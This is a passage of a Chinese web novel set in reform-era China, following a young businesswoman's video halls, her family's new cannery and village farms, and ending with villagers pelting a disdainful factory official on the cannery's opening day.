还是工作人员提醒进门即送两小时免费观影和瓜子一份,陶杰想着来都来了,反正能免费两小时,不行再走人好了,才算进了门。 便利店的装修和环境确实比之前的店要差一点,位置也小一点。 但是陶杰很快发现,也就这两个缺点了,其他都和原先的店差不多,尤其播放厅里面,座位也并没有增加。 可以说,跟原先的店比确实是差了一点,但是跟大都会录像厅比,却是好了不知道多少倍。 当然,最关键的是电视机也比大都会录像厅大了很多,清晰度也高了一大截,观影体验简直天差地别。 于是,原本只打算体验两小时的陶杰最后待到快吃饭的时间才不得不离开回家,不过他在离开之前又去柜台往自己的观影卡上充了二十块钱。 因为他发现这个便利店真是太适合自己了,完全满足了他的观影需求,便宜,但观影体验好,而且还离家近,他知道自己以后肯定会经常光顾的。 离着明星录像厅便利店不远,就是大都会录像厅,之前两天的生意火爆,让大都会录像厅的人都信心满满,想着哪怕那个什么便利店的开业,估计也影响不了他们多少。 人都是有惯性的,习惯了一个地方,轻易就不会挪窝。 这些人不知道什么叫惯性,但是这个道理是明白的,都觉得他们孙老板有先见之明,直接把开业时间提前了,这等于就是截胡了呀! 听着不远处噼里啪啦的鞭炮声,刘老三趴在柜台上往外瞅了眼,撇撇嘴,一大早开业,还指望早上就有生意呢。 别看他们才开业第三天,刘老三已经总结出规律了,十点以后才是录像厅上座的时候,前面的时间哪怕不上班,家里也要忙活呢,哪有这个闲工夫来看电视? 闲着没事,刘老三开了收音机听说书,听着听着就开始打盹儿,等他一觉醒来,收音机里已经换了个科普节目,他回头看了眼挂在墙上的钟,哦哟,已经快十一点了。 昨天夜里上完班他又跑去打牌了,打到快四点才结束的,今天可不得坐着都打瞌睡? 不过,刘老三回头看看空荡荡的走廊,又觉得不太对,按理这个时间应该有人上门了呀,哪怕看他打瞌睡,也会叫醒他的。 是到这个点还一个客人都没有吗? 刘老三不太敢相信。 他瞪着眼睛看着门外,俩中年妇女从门外走过去,刘老三隐约听见她们好像在说什么便利店,但是又觉得应该是自己听错了,女同志上录像厅还是比较少的,尤其这种年纪大一些的,乌烟瘴气的受不了是一方面,另一方面也舍不得花这个钱。 一直到午饭时间也没人上门,媳妇儿过来给刘老三送饭,看到店里冷清的样子,忍不住说:“我刚路过那什么便利店瞅了眼,里面好像人挺多的。” 刘老三不太高兴:“播放厅都在里面,你哪里看得清?” 上午没人也正常,早上大家都比较忙,刘老三安慰自己。 下午倒是有人上门了,只是也没几个人,刘老三还听见那几个小青年在播放厅里说:“我就说这边今天肯定没人吧,别看这里凳子多,没人凳子再多也没用,咱们今天可算包场了,舒坦!” “便利店票价跟这里一样,环境可比这里好多了,这里包场也没那边舒服,这椅子坐着硌人,咱们下次还是去便利店吧!” 刘老三气得差点没冲进去往他们脑袋上砸一板凳。 这一天,一直到夜里下班,刘老三也没收到多少钱。 无独有偶,大都会录像厅十家店,差不多都是这种情况,开业第三天,十家店总流水才做了几千块钱,跟前一天相比,已经不是断崖式下跌了,根本就是跳楼式下跌。 当天晚上,孙洲在大都会舞厅的办公室里砸了一套茶杯。 而晨曦路一号店顶楼办公室里,柳绵绵和伍衡则开了瓶酒,干了杯庆功酒。 加上充值观影卡的钱,新开的九家店一天流水做到了五六万,其中单单一号店就有快两万。加上之前的八家店,一天的流水总共有**万。 这生意可真是太挣钱了。 比舞厅还挣钱。 伍衡对柳绵绵真是心服口服。 第80章 百分之三的厂子也是厂子…… 柳绵绵确实很想躺着挣钱,但是她也知道不太可能。就说这个录像厅吧,有伍衡这么能干的人操心着,她也没办法做到什么都不管。相反,从装修方案、营销策略到人员培训,大部分还是得俩人一起商量着来。 不过店开起来以后她就轻松了,店里的事情都交给店长,店长的管理交给伍衡,许海棠负责抽查监督,她自己只要每个月关心一下财务问题就可以了。 许海棠已经驾轻就熟,这段时间西餐厅那边也重新招了人,不用她一直看着了,她现在等于是统管着西餐厅和炸鸡店。 甚至不用柳绵绵提醒,她已经在盘算继续开炸鸡店分店了。 柳绵绵看她干得劲劲儿的,就找她聊了聊,给她分了一点股份,以后除了工资外,她就还能分红了,许海棠高兴得不行,干起活儿来更用心了。 所以这一摊子柳绵绵现在倒是不用怎么管了。 录像厅这边也暂时不用她操心了。 蒋红梅和刘安民就更不用她操心了,他俩已经把服装这个市场摸得透透的了,批发档口和服装厂,也都在稳步推进,也就偶尔遇上大事情,才会找柳绵绵商量一下。 这么一盘算,目前还需要她操点心的就只剩罐头厂了。 “你准备去多久?”沈维舟往柳绵绵嘴里塞了颗荔枝干,“我这里最近正忙,怕是抽不出空。” 这几个月柳绵绵忙得团团转,沈维舟其实也差不多,不是加班到大半夜,就是干脆留在研究所回不来。 研究所那边怕他出事,隔三差五找医生给他检查身体,发现他身体确实是基本没什么问题,领导们松一口气的同时,派给他的任务更重了。 柳绵绵隐约知道,裁军以后军工厂日子难过,然后就广泛地在国外找买家,似乎是找到了个大买家,只不过人家有些要求华国还达不到,所以就需要紧急研制。 也是沈伯康和沈维舟谈话时,她偶尔听见只言片语,再加上上辈子的一些记忆和碎片信息猜的,柳绵绵倒是没打听这个事情,但是也知道沈维舟现在的工作很重要,所以没什么不能理解的。 她抓着沈维舟的手摸了摸:“个把星期至少吧,没事,反正你忙我也忙,忙过这一阵子就好了。” 沈维舟凉凉看她一眼,这小没良心的,嘴里说要躺着挣钱,一碰见挣钱的事情,跳得比谁都积极,听说罐头厂那边准备工作差不多了,这边才刚忙完呢,又马上说要去前进乡了,半点留恋的样子都没有。 “行吧,我要是忙完了,就去找你。”想起另一件事,沈维舟蹙了蹙眉,“所里可能想让我去西北。” 重要的军工研究项目都在西北,研究所也经常会抽调、交流人员去西北,只不过原先他身体那样,所里肯定不会考虑他,但现在不同了,几次身体检查下来,他都没什么问题了,加上最近某国的军工订单,所里就想往他身上再压压担子。 柳绵绵一下子从躺椅上坐了起来:“你去西北,你身体吃得消吗?去多久?你们领导就没考虑过咱们新婚燕尔不适合两地分居吗?” 沈维舟看着她笑了起来:“就是看我身体好了才要派我去。” 顿了下,他又说:“而且,咱们结婚已经一年多了。” 结婚一年多,在领导的眼里,那就不算新婚小夫妻了。 不过看她这着急的样子,他就觉得心里挺舒服。 结果柳绵绵忽然又靠回了躺椅里:“你说的对,那你去吧,我正好和蒋红梅一起去南边看看,把服装厂办起来,再找找别的生意。” 沈维舟:“……” 皱着眉头没吭声。 柳绵绵看他一眼,悄悄勾了勾唇角。 过了一会儿,沈维舟叹了口气,又往她嘴里塞了颗荔枝干,说:“我不去想去,咱们新婚燕尔的。” 柳绵绵噗嗤就笑了出来。 “什么时候去?”她问。 “下个月吧可能。”沈维舟说。 柳绵绵想了想,说:“我到时候事情办完了就去找你,那边也是保密单位吧,家属能不能去?” 沈维舟笑了起来,倾身在她额头上亲了下:“家属能去,有安置家属的地方。” 柳绵绵一巴掌推开他,沈维舟怔了下,扭头就看见刘婶钻进厨房的背影,他摸了摸鼻尖,笑了。 厨房里刘婶欻欻歘切着菜,边切边嘀咕:“小夫妻感情这么好,怎么肚子就一点动静也没有呢?绵绵身体肯定没问题,许妹子都说了,从小养得好,感冒咳嗽都很少了。肯定是维舟,这身体虽然养好了,但是底子还是虚的。不行,得再给他补补,明天一早我就去知青菜场抢两个猪腰子来。” 坐在灶下烧火的王叔:“……” 第二天柳绵绵就买票去了前进乡,到乡里的时候余国梁跑过来接人,整个人蓬头垢面的,肉眼可见的黑了,也瘦了。 柳绵绵默默有点心虚,自己把事情安排下去也没腾出手来帮忙,看来大哥这阵子是真忙得够呛。 余国梁倒是不觉得什么:“咱们这可是办厂,这么大一摊子,能不忙吗?忙点好啊,能办厂,再忙我都乐意。再说,这最难的事情你不都给办下来了吗,我听乡里的人说,这设备其实很难买的,咱们这次也算是捡了个大便宜了。再说,鱼塘、山地还有榨油坊这阵子都是老二看着呢,我这其实也还好。” 虽说黑了瘦了,但余国梁的精神状态非常好,柳绵绵看他这个样子,倒是也放心了一些。 余国梁接过柳绵绵的行李袋挂在自行车龙头上,边走边说:“厂房已经基本完工,前两天我跟军工厂那边联系过了,他们这两天就会把生产线送过来。招工考试照你说的搞过了,一共招了六十人,初中以上学历占了一半,高中学历的也有五个,其他的都是各村推荐的干活勤快麻利的。还有,萝卜、鲜笋的收购通知也通过乡里发到各个村了,回头时间定了,就让人送过来。” 柳绵绵点点头:“到时候咱们在南城招的那些技术工人会跟着生产线一起过来。” 乡里的汽车站点离罐头厂不远,兄妹俩聊着天就走到了。 既然是划出来办厂的,那自然不可能在什么中心位置,这边已经是乡政府外围了。 一眼望去,一片葱绿的田野上,一个青砖围起的厂房拔地而起,不算大,跟军工厂那样的规模自然完全不能比,但大概是自家工厂的缘故吧,看着就很整齐。 厂子里现在什么也没有,所以也没找人看着,余国梁停靠掉自行车,掏出钥匙打开了大门。 柳绵绵跟着走进去。 厂子里面已经打扫过了,空荡,但整洁。 俩人在里面转了转,分了几个车间,材料检收、清洗处理、预煮冷却、分级装罐、加汤、排气密封、杀菌……各个区域都已经按照柳绵绵原先的要求分得清清楚楚。 转了一圈下来,柳绵绵的整体感觉就是,麻雀虽小……其实也不算小,总之五脏俱全。 “挺好的,接下来咱们按部就班就行了。”柳绵绵说。 余国梁莫名松了口气。 他一路都有种接受领导视察的感觉,潜意识里生怕有什么地方做得不够好,怕老幺挑出什么刺来。 现在受到了肯定,心里就不禁暗暗高兴,感觉这段时间的辛苦没白费。 开罐头厂他当然高兴,可他也怕自己没经验没文化,把事情给办砸了。 看完厂房,兄妹俩就回村里了。 村里人看到柳绵绵回来也不惊讶,都听说余家要办罐头厂了,甚至之前招工,村里也招进去了一些,大家一个村子住着知根知底的,自然知道余家没这个能力,这厂子肯定是他们家小闺女办的。 不少人看到他们都主动地打招呼,态度比之前不知热情多少。 余家人显见发达了,大家都知道,跟他们处好关系没坏处,哪怕这次招工没进,说不准下回就进了呢? 一路到了余家的院子前,早有小孩儿先跑过来报信儿了,余永诚和许丽等在门口,看见柳绵绵,许丽就迎了上来:“怎么好像瘦了?” 有一种瘦叫妈妈永远觉得女儿太瘦。 柳绵绵无奈:“妈,我最近胖了好几斤了呢。” 西餐厅在调菜单,她时不时被许海棠拉去试菜,再忙也没用,一点没瘦,反倒还胖了。 “我瞧着是瘦了,这阵子在家可得好好补补。”许丽一点不信。 “哎哟,您这么说刘婶可真冤枉了。”柳绵绵笑道。 母女俩并肩往里走,柳绵绵一一跟家里人打招呼,等到坐下来后,许丽才忍不住问:“你真要做萝卜条罐头啊,这不是家家户户都有的东西吗,这能卖得出去吗?还有那个笋,我倒是试了下,吃是好吃的,可,这东西真有人买?” 农村人谁家不腌点萝卜条咸菜什么的啊,这玩意儿可没人稀罕。 柳绵绵笑道:“妈你怎么还会有这种想法,你那萝卜条卖了这么久,都挣多少钱了?你说有没有人买?你是自己地里有东西,自己种自己腌,就觉得这东西不值钱,城市里面可什么都没有的,别说萝卜条了,就是一根葱也是要花钱买的。不但南城人会买,以后咱们销路打开,还能卖到沪市京市去。” 许丽和刘婶合作的萝卜条生意确实红火,前前后后挣了不少,不过许丽觉得那都是刘大姐会推销。 而且,她潜意识总觉得自己做的萝卜条跟“高档货”的罐头没法相提并论。 虽说两个儿子也是这么劝的,但许丽就是觉得心里不踏实,现在听柳绵绵这么说了,才觉得一颗心落到了实处。 老幺说能卖,那肯定就是能卖。 握着闺女的手,许丽这才有了一点真实感,家里不但要开罐头厂了,甚至是,自己的腌萝卜也要被做成罐头了,以后还要卖到沪市京市去。 哎哟,怎么会有这么好的事?! 许丽不知道,还有更好的事呢。 “妈,你这个腌萝卜的配方以后就卖给罐头厂了,还有腌笋的配方也是,到时候算你技术入股,给你分百分之三的股份。”柳绵绵说。 许丽一下子愣住了:“啥,给我分股份?” “对啊,这本来是你的东西,肯定要给你分钱呀。以后刘婶那边你就不能再给她供应了,她想卖要直接上厂里批发罐头,这就跟你没关系了。但是你拿股份可以分红,厂子效益好的话,绝对是远远超过现在能拿到的钱的。”柳绵绵给她解释。 许丽一拍大腿:“哎妈呀,那我这不也成资本家了?” 百分之三的厂子那也是厂子啊!魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 80-90 第81章 先富带后富 去年余国梁他们的鱼塘和山地大丰收,不少人眼红之余,倒是也纷纷动起了心思。 就留下村附近的这些村子,今年都是热火朝天的,挖池塘的挖池塘,开山地的开山地,还有养鸡养鸭养猪的,总之都是想方设法地找路子。 这么一来,倒是方便了柳绵绵他们寻找原材料。 柳绵绵是想着先用罐头厂的设备做腌萝卜、腌黄瓜、腌笋之类的,等后面看看肉类的供应上来的话,再上鱼罐头、肉罐头这些产品。 本地的养殖产出首先还是要供应给本地人的餐桌,柳绵绵倒是没想过跟老百姓争这些,国家改革的目的不就是为了让老百姓日子好过嘛,她可不想从老百姓的嘴里抢肉吃,也没这个必要。 毕竟哪怕农村人都认为咸菜腌菜不值什么钱,但确实是这些东西在城市里面还是很受欢迎的,华国人的饮食习惯,早晨一份清粥小菜那是什么都换不来的。 后世物资那么丰富,超市里的腌菜咸菜也只多不少,还有许多人出门都要带咸菜包榨菜包呢,所以柳绵绵是觉得这个生意是不愁销路的。 不过这次回前进乡,她和余国梁他们一起对乡里各个村子的情况进行了排摸,倒是惊讶地发现,各个村子都办起了大大小小的养殖场,大批量的供应可能没有,但是小批量地做一些鱼罐头肉罐头什么的,还是可以的。 她还顺便去参观了王志远的养殖场。 刘婶和王叔这些年也攒了不少钱,而且刘婶自从和许丽合作卖萝卜条,生意红火得不行,私房钱更是一下子攒了不少,所以王志远搞这个养殖场的时候,老两口也是借了不少。 王志远之前在鱼塘也投了点钱,几茬鱼卖掉,也是一笔不错的收入,加上之前在部队里攒的,所以手里也是有点钱的。 他还喊了两个战友过来合伙,整体投资的钱还真是不少,所以养殖场的规模也比最初计划的要大得多。 留下村靠山脚的一大片地都租给他了。 大概是几个人都当过兵的缘故,这个香喷喷养殖场还真是窗明几净、整整齐齐,虽然有一点味道,但真心不臭。 就是这个名字太好笑了,柳绵绵看到的时候,乐得差点直不起腰。 要不是知道这是养殖场,乍一听还以为这是什么饭店呢。 这是一点都不考虑猪崽鸡崽们的心情啊,直接就昭告了它们未来的归宿。 王志远还挺得意:“这名字是不是特别的合适?老薛取了个胖乎乎,老甘取了个美味,都没我这个好听,我出去跑销路,人家都说我这名字取得好,让人印象深刻。” 他的两个战友一个叫薛锐,一个叫甘立。 柳绵绵给他竖了个大拇指。 “我们这里当时建厂房的时候,还请了县里的技术员来帮忙看了呢,方向、污水什么的都考虑了,绝对不会影响到村子。猪粪稻草什么的,我们都是及时清理的,跟周边几个村子都有合作,拿猪粪换稻草,他们也是很乐意的,这东西肥田是很好的。” 王志远边走边介绍:“你们那个榨油坊生意好,每个月油渣饼的产出量不小,我这边就是油渣饼、饲料还有各个村子里收的草料掺和着喂,长肉挺快的,比我学技术的那个国营养殖场长肉快。我们之前的猪崽都是跟人买的,不过已经开始培养自己的母猪和种猪了,等到下半年,我们就能自己出猪崽了。” 柳绵绵点点头,她已经跟王志远谈过肉罐头的事情,王志远这边听说后面猪肉可以直接供应罐头厂,自然也是很高兴。 虽说目前看猪只要养出来,肯定是不愁卖的,但是王志远从决定办养殖场以后,就多方了解了国内猪肉养殖和猪肉供应情况,也在周边县市了解过,知道这种情况并不会一直持续。 就说前进乡吧,上半年就有好几个村子都办了养猪场,以后搞养殖的人越来越多,销路肯定就没那么好了。 毕竟他们这也不是国营养猪场,有各种国家单位保底,私人养殖场,各方面都是要自己考虑的。 如果能供应罐头厂,那就完全不一样了。 王志远是相信柳绵绵的能力的。就说他老娘卖的那些萝卜条吧,换了从前,谁能想到这东西能挣钱呢?王志远作为亲儿子,可是知道自己老娘卖萝卜条挣了多少钱的。更别说服装店、榨油坊、炸鸡店那些,反正就是没有一个生意是不挣钱的。 所以这个罐头厂,肯定也是能做起来的。 有了这么个稳定的销路,王志远就不愁了,甚至准备等这一批猪出栏,到时候继续扩大规模。 除了猪,王志远这边也养了鸡,并且养的还是前两年华国刚从美丽国引进的白羽肉鸡。 就这个鸡的品种也是柳绵绵给他的出的主意,说是之前看到过新闻,华国从美丽国引进的这个鸡品种,料肉比特别的低,出栏时间特别的短,而且这个鸡肉质还比较嫩,适合做炸鸡。 王志远也是托关系打听了挺久才终于买到了这个品种的鸡苗,毕竟这时候白羽肉鸡在华国养殖的还不多。 真的养了这个鸡以后,王志远才发现这个鸡的出栏时间是真短啊,基本上四十多天就差不多了,所以比起饲养时间更长的猪,反倒是鸡更早获得了收益。 现在他这边的鸡不止供应柳绵绵的炸鸡店,也供应乡里和县里,由于价格优势比较明显,卖得非常好。 所以别看他们养殖场开起来时间不长,其实他们已经开始盈利了。 实地看过香喷喷养殖场的情况后,柳绵绵对罐头厂上肉罐头也有了更大信心。 罐头厂最重要的就是原料和销路,尤其是肉类罐头,原料品控非常重要,有一家值得信赖的原料供应商,对后期的生产意义重大。 看王志远这样子,是真的喜欢养殖这个行业,之前什么都不懂的人,现在已经头头是道、侃侃而谈了,可见这段时间是下了苦工夫的。 柳绵绵发现身边这些人都挺卷的,大概也是这个时代的特色吧,大家从艰苦岁月过来,但凡有一点机会,都会尽最大的努力。 参观完养殖场往回走的时候,柳绵绵在路口碰见了老村长,她冲老村长笑着打了个招呼,结果老村长问她能不能聊聊,柳绵绵就知道,哪里是偶然碰见,人家这是估计在这儿等她的呢。 老村长也姓余,照辈分柳绵绵得喊他四爷爷,有点关系,但是也很远了。 老爷子早几年就退下来了,现在也不管事了,不过在村里威望很高,哪怕是现在村里的几个干部,遇见大事了,也得征求一下他的意见。只不过老爷子是个明白人,一般情况下也不会插手村里的事情。 柳绵绵知道老爷子是个有分寸的人,而且一向都是替村里考虑的,做人做事没什么私心,倒是也不怕对方提什么不合适的要求,笑着点头跟在了对方的身旁。 老村长拄着拐杖慢慢往前走,边走边说:“我也是老眼昏花了,从前倒是没看出来你这孩子能有这心气和能耐,你这孩子,去了城里以后真是变了不少。” 柳绵绵知道他是在说原主,她倒是没想到,老爷子居然连原主这么一个平时接触不多的小姑娘都有所了解。 老爷子看她一眼,仿佛是看出了她的想法,笑了一下,说:“咱们庄稼人,自己的地里种了几株菜,结了几颗果,心里都是清清楚楚的。村里的事情跟伺候庄稼其实也差不多,各家各户有哪些人都什么脾性,就跟地里的苗苗一样,弄清楚了才能管好。不过,种子会发芽,苗苗会长大,树上能结果,这都不是一点不会变的。人也是,有的人长好了,有的人变坏了,这都说不准。” 顿了下,他说:“你是个好的,也是有情义的。” 柳绵绵笑笑,说:“我在这里长大,我爸妈哥哥对我也好,这里就是我的家。” 老爷子连连点头:“好,好啊!” 走着走着,路渐渐变得开阔,前面就是余国梁他们承包的鱼塘了。 老爷子站在鱼塘边,眯着眼睛看了一会儿,说:“我听他们说,大领导讲的,先富带动后富,以后大家都能富裕起来的,可我就琢磨不明白,这先富怎么带动后富呢?妮子,你见识广,能不能帮咱们村里的人想想,该怎么富裕起来?” 柳绵绵以为他是想为村里人多争取些招工的名额,没想到老爷子压根没提这一茬,倒是提了个更难回答的问题。 她想了想,说:“您看,从前没人想过承包鱼塘和山地,我哥做了,大家才发现这个事情能挣到钱的,今年村里承包山地的人也多了,还有人开始养猪养鸡,也有人种果树……我想大领导的意思就是,需要一部分人打头阵,先把路趟出来,其他人就也能跟着想法子,试着趟趟自己的路。” 老爷子沉默了几秒,点点头:“你说的对,自己不敢找路子,有人在前头找了路子了,还能不敢跟着走?” 柳绵绵道:“而且咱们村子已经走在其他人前面了,不管是香喷喷养殖场,还是榨油坊,以后肯定都是要扩大规模的,到时候不管是租金还是招工,村里也都是受益的。” 老爷子笑了起来:“我会跟他们说的,你们尽管放心,村里肯定是尽最大的力量支持你们的。” 他心里可是清楚的,不管是这个榨油坊,还是那个养殖场,人家开在哪里都是能挣钱的,选择他们村子,那就是顾着情义了。 听说余永诚家要在乡里办罐头厂,他就担心他们会把养殖场和榨油坊搬走,哪怕现在养殖场和榨油坊雇的人并不多,可也是给村里带来了不少好处,至少两个地方的租金,就是一笔不少的钱了。 如今倒是放心了,余永诚这闺女的意思,就是不会搬,以后还会扩大规模。 柳绵绵想了想,说:“其实咱们村里既然已经有了榨油坊和养殖场,大家其实倒是可以从这方便去努力,像是地里除了基本的粮食,可以考虑多种植花生之类的油料作物,另外还可以和养殖场那边商量,和他们那边合作搞养殖,他们那边现在产量肯定是不够的,如果双方能够合作,村里家家户户作为养殖场的编外人员,接受他们的培训和监督,再由他们统一收购,这对双方都是有好处的。” 老爷子听得双眼发亮:“对,你说的对,咱们可不能东一榔头西一锤子的,咱们要想法子团结起来搞。” 老爷子兴冲冲地就说要去找村支书了,柳绵绵把人送到门口,也就转身回去了。 第二天南城军工厂那边按时送来了生产线,随同过来的还有柳绵绵之前招工培训的八名技术员。 大家从繁华的南城来到这么个不知名的小乡镇,落差还是挺大的,不过乡里领导非常重视,亲自安排了一顿接风宴,倒是打消了技术员们的一些顾虑。至少,当地这么重视,这个厂子应该是能发展起来的吧? 生产线是以余国梁的名义买的,厂子也是以余国梁的名义建的,虽然他们另外签了协议,柳绵绵是占股最大的,但是明面上的事情还是余国梁在办,所以这个接风宴柳绵绵也没有参加。 柳绵绵事后才知道,军工厂过来交接设备的人喝多了,怼着余国梁问买了设备是不是准备生产空气,还说军工厂都没撑过几个月,他们这么个乡镇小工厂也不知道能不能撑过一个月,听说当时乡里的领导气得脸都青了。 人家好不容易盼来的一个厂子,还没开业呢,你就说人家撑不过一个月,这能不生气吗? 问题这位丁科长第二天酒醒了也没觉得自己说错了,只是不应该在乡里领导面前直接说这事,没给人留脸面。 一直到罐头厂揭牌开工这天,这位丁科长出门前还在说:“我倒是真想去看看他们准备怎么生产,要原料没原料,要技术没技术,就靠着那几个临时拉起来的队伍,能搞什么?” 虽然他态度不好,还在酒桌上大放厥词,但是毕竟帮着安装调试了设备,罐头厂这边还是邀请了他们几个人一起参加揭牌仪式的。 另外两个跟着一起来的技术员,虽然觉得丁科长说话做事有点得罪人,不太好,但是内心其实也和他想法差不多,也是不太看好这个罐头厂。 农村嘛,可能零星能收购到一些原料,但是长远来看,肯定是不行的。 三人抱着这种想法从招待所往罐头厂走,半路上就看到许多人挑着担子也往那边走,一开始还以为只是顺路,直到在罐头厂门口看到一条排队的长龙。 第82章 罐头厂开工 为了博个好彩头,把罐头厂揭牌开工的场面搞得热闹一点,柳绵绵干脆让余国梁通知各个村子,把开始收购原材料的日子,也放到了这一天。 厂子里采购科的三个人都一早过来了,果不其然,天蒙蒙亮就有人挑着担子、背着箩筐来了,很快就在罐头厂门口排起了长队。 哪怕是几十年后,单纯种地的农民收入都是不高的,何况这时候?能种点菜拿到集市上卖,或者是自己做点粉条什么的拿到集市上卖的,都算脑子活络了。 所以别看改开了,个人承包土地,收成上来了,家家户户都能吃饱了,但其实手里钱还是很少的。 毕竟能挣钱的机会还是太少了。 所以这回乡里通知下去,说是罐头厂要收购萝卜和竹笋,大家可是高兴坏了。别的没有,萝卜还能没有吗?萝卜是最普通的蔬菜了,家家户户都是要种一点的,也因此,根本没人要。哪里想到罐头厂居然会收购,而且价格还挺合适的。 至于竹笋,那都不是种的,直接就是山上挖的,除了时间,都不用成本的。 可农村人的时间哪里值钱哦,花一下午时间挖一篮子竹笋就能换钱,这真是哪里都没有的好事。 前进乡别的不多,就是山多,可以称得上是八山一水一分田了。正因为肥田少,所以大家的收成也就够吃饱饭,指望靠着田地挣更多的钱是不可能的。 不过山多竹林也多,也因此挖竹笋是真的不难。 各村的人也听村干部说了,这个收购是面向全乡的。庄稼人朴素的想法,萝卜和竹笋到处都有,收购也不可能把整个乡的萝卜和竹笋都能收购完了,多半是到了一定数量就不要了。 所以个个都是一大早就出门了,生怕来得晚了,人家收够了数量不要了,到时候错过这么个机会真是哭都没地方哭去。 大家都想着早点,都撞到一起去了,大门口可不就排起了长队? 丁科长他们看到的就是这么个场面。 听说是罐头厂在收购原料,丁科长也是满肚子的疑惑,都是南城地界的,前进乡有些什么,他还能不知道吗?这地方山林倒是多,但是长的都是木材,可没多少果树。 他带着满腔的疑惑凑了上去,然后就看到了老乡们竹筐里的东西:胖嘟嘟白乎乎的萝卜和新鲜带泥带壳儿的竹笋。 这是罐头厂的原材料?! 丁科长眼珠子都快瞪凸出来了。 他心里感觉难以置信,同时又拨云见雾一般,产生了一个隐隐约约的念头,谁又说罐头一定就得用水果做呢,他去外地出差的时候,也是见过装在玻璃瓶里的腌菜和腌鱼的,只是南城市面上没有,所以他也就没有想起来。 丁科长和柳志刚关系挺好的,这回柳志刚想要捣腾罐头生产线,资金不够找上他,本来是想借钱的,后面丁科长觉得这是个稳赚不赔的买卖,所以也出钱拼了一股。 哪里想到最后竟然没买到的。 可想而知,丁科长对买走生产线的余国梁是非常有情绪的。本来是想着投点钱,然后不用费力地挣点钱的,哪知道最后竹篮打水一场空。 所以,他说的那些罐头厂干不了多久的话,都是真情实感的,也算是酒后吐真言了。 他这么说场合自然是不对的,但是丁科长觉得自己也是实事求是,何况调试完设备,他们就回南城了,以后跟前进乡估计接触也不多,所以他倒是没有太多所谓,甚至还厚着脸皮来参加揭牌仪式。 其实他就是想来看看热闹。 哪知道还真看到了热闹,只不过,不是他想象中的热闹。 丁科长顺着排队的队伍往前走去,一路看到的都是萝卜和竹笋,心里就明白了,这个罐头厂看来真是要做腌菜罐头。 可腌菜菜场不就有的卖吗,都是散装放在桶里的,大家买菜的时候顺手就带个一斤半斤的,做成罐头,虽说保质期长了、口味可能也会好一点,可成本增加了呀,真有人会买吗? 至于竹笋,丁科长就更不明白了,他就没见过竹笋的罐头。 “这玩意儿能有人买吗,就算是生产出来,也不会有多少人买的,到时候也就是多亏点钱罢了,我看还是撑不了多久的。”丁科长同跟在身旁的技术员说道。 技术员有些无语,就算这是事实,你也不能这么堂而皇之地说出来吧,这也太得罪人了。 之前还能说是喝醉了胡说八道,今天可是清醒得不能再清醒了,你再说这种话,被人家听见了多不好? 但是技术员也没办法,谁让人家是科长呢,领导胡说八道他们也不能捂他嘴不是? 只能默默地不吭声。 (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)  丁科长倒是一点都不觉景,身为南城国营大厂的技术科长,在前进乡这个地方,丁科长内心有一种带着鄙夷情绪的高傲,所以说话也直白,并不怕得罪人。 再说,他这也就是自己人讨论一下,也没在乡领导面前说不是? 只是他忽略了旁边排队的老乡,一方面是觉得他说的是罐头厂,跟这些人也没关系,另一方面是压根就没把这些泥腿子放在眼里。 换了十年前,这些人或许会因为成分好而受到一些重视和优待,现在可不一样了,现在到处都抓经济,在丁科长的眼里,这些挣不了几个钱的穷酸,那就是蝼蚁差不多了。 但是他没想到,他这边话音刚落,旁边一个蹲在箩筐旁边的汉子突然就站了起来,冲着他质问:“你个狗嘴里吐不出象牙的,你说啥屁话呢?” 附近一些听见的老乡也都瞪着丁科长。 “这谁啊,打扮得人模狗样的,怎么嘴里没一句好话?” “就是,咱们乡里这罐头厂今天可是刚开业呢,这倒霉催的,就诅咒厂子卖不出去东西,盼着厂子倒闭了。咱们挣点钱容易吗,乡里好容易给咱们找了这么个路子,这人怎么就看不得别人好呢?” “贼眉鼠眼的,看着就不像什么好人,我呸!” 一位大婶冲着丁科长啐了一口。 丁科长哪里受过这个啊,顿时气得脸红脖子粗:“粗俗,野蛮,我说的是事实,事实还不让人说了?再说我说的是罐头厂,关你们什么事……” 第一个说话的汉子二话不说,直接一个拳头砸在了他脸上。 丁科长话说到一半,发出“嗷”的一声痛呼:“你,你们这些刁民,穷酸……” 好嘛,又挨了一拳头。 还不止拳头,排队的老乡们就跟说好了似的,你一块碎石头我一把黄泥,你一根萝卜缨子,我一把带泥的笋壳儿的,呼啦啦的,一下子全往丁科长身上砸去。 那个砸了丁科长两拳的汉子早躲开了,就连另外两个技术员,也早在大家质问丁科长的时候默默躲开了,于是丁科长就独自承受了大家的怒火,没多久就被砸得灰头土脸的。 他倒是想躲,可周围挤满了往他身上砸东西的老乡,他根本就躲不开。 直到乡政府的人过来制止了老乡们,鼻青脸肿的丁科长才算是逃出了“包围圈”,他满脸愤怒:“我要报警,这些人围殴我,我要报警!” 乡政府的人当然要先了解发生了什么事情,了解清楚之后,他们也都是非常非常的无语。 这人在他们面前胡说八道就算了,看在是军工厂过来协助调试机器的,他们也就忍了。 哪想到这人竟然还跑到老乡们面前来胡说八道。 是,这些老乡的确不是罐头厂的人,可是你也不想想,罐头厂跟他们收购萝卜和竹笋,这就是给大家增加收入了啊! 老乡们能不希望罐头厂好好发展吗? 你诅咒罐头厂倒闭,不就等于诅咒老乡们以后没收入? 断人财路犹如杀人父母呀,人家能不揍你吗? 别说老乡们了,其实乡里的领导和干事也很想揍丁科长。他们前进乡好容易开个厂子,乡里就盼着这厂子能红红火火呢,这人倒好,揭牌开业的大好日子,他倒是跑过来胡咧咧了。 乡领导只能憋着气说:“哪怕情有可原,打人确实是不对的,你指出来,哪些人打了你,我让派出所的同志好好教育他们。” 丁科长觉得乡领导的话不太中听,什么叫情有可原,什么叫教育他们,就应该好好惩罚! 但是他也知道在人家的地盘上不能太嚣张,只能当做没听出乡领导偏袒的意思,而是瞪大了眼睛往人群里看。 刚才太乱了,他确实没看清都有谁砸了他,但是没关系,至少第一个打他的人他能认出来。 只不过,他在人群中巡睃了半天,却压根儿没看到那个汉子。 人不见了。 他指认不出人,乡领导表示也没办法,还跟他好好讲了一通群众工作难做的大道理,一不小心就容易演变成群体性事件,请他理解乡里的难处。 然后又让办事员陪着他们去卫生所看看伤口,就这么委婉而不失礼貌地把这仨给弄走了。 既然不是抱着祝福的心态,那就没必要参加揭牌仪式了。 